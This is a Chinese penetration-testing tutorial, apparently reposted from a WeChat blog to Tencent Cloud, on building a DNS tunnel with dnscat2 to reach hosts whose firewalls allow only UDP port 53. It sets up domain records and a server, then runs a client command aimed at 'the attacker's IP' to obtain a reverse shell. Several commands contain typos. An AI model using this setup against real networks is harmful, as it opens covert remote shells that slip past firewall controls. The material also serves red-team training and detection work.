前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透之DNS隧道技术

内网渗透之DNS隧道技术

作者头像
安全小王子
发布2020-11-03 15:24:56
2.1K0
发布2020-11-03 15:24:56
举报
文章被收录于专栏:betasec

声明:请勿利用文中相关技术非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!

01

前言

在渗透目标中过程中,可能碰有些网络的防火墙设置只允许端口53的UDP流量,就不能通过tcp搭建隧道,这种情况下我们可以通过UDP搭建DNS隧道,具体实现是通过搭建一个DNS服务器委派的子域,这个子域因为是我们自己搭建的主机,这时候就可以通过这个子域搭建DNS隧道,和网络被限制的主机进行交互。

02

购买域名并配置A记录和NS记录

(注意)如果是阿里云服务器一定记得要配置下安全组策略,出口和入口配置允许53端口,不然监听不到53端口过来的流量,操作如下图所示:

出方向配置自定义udp类型,端口53、任意地址连接【0.0.0.0】

入方向配置自定义udp类型,端口53、任意地址连接【0.0.0.0】

03

测试是否解析到服务器

1、测试下A记录是否解析成功

ping 配置域名

2、测试下ns记录是否解析成功

在VPS服务器上进行抓包(端口53号端口UDP)

代码语言:javascript
复制
tcpdump -n -i eth0 dst port 5

tcpdump:是一个运行在命令行下的抓包工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包

-n :将每个监听到数据包中的域名转换成IP地址后显示,不把网络地址转换成名字

-i :指定监听的网络接口

04

安装dnscat2

在VPS服务器上安装dnscat2服务端,因为服务端是用ruby语言编写的,所以需要配置ruby环境,我使用的是unbuntu服务器,所以需要安装下以下依然包和环境

代码语言:javascript
复制
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler

从github上下载dnscat2,并编译

代码语言:javascript
复制
apt-get insatll git
git clone https://githun.com/iagox86/dnscat2.git
cd dnscat2/server
bundle insatll

编译完成

接下来就是启动服务端了

代码语言:javascript
复制
ruby ./dnscat2.rb --dns "domain=localhost,host=127.0.0.1,port=53" --no-cache

启动客户端

代码语言:javascript
复制
dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID

成功反弹shell

客户端和服务端建立连接后服务端处于交互模式,输入session命令可以查看当前控制的进程(每个连接都是独立的进程)。输入shell命令打开另一个会话,建立一个交互模式

dir查看c盘目录下面的目录

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档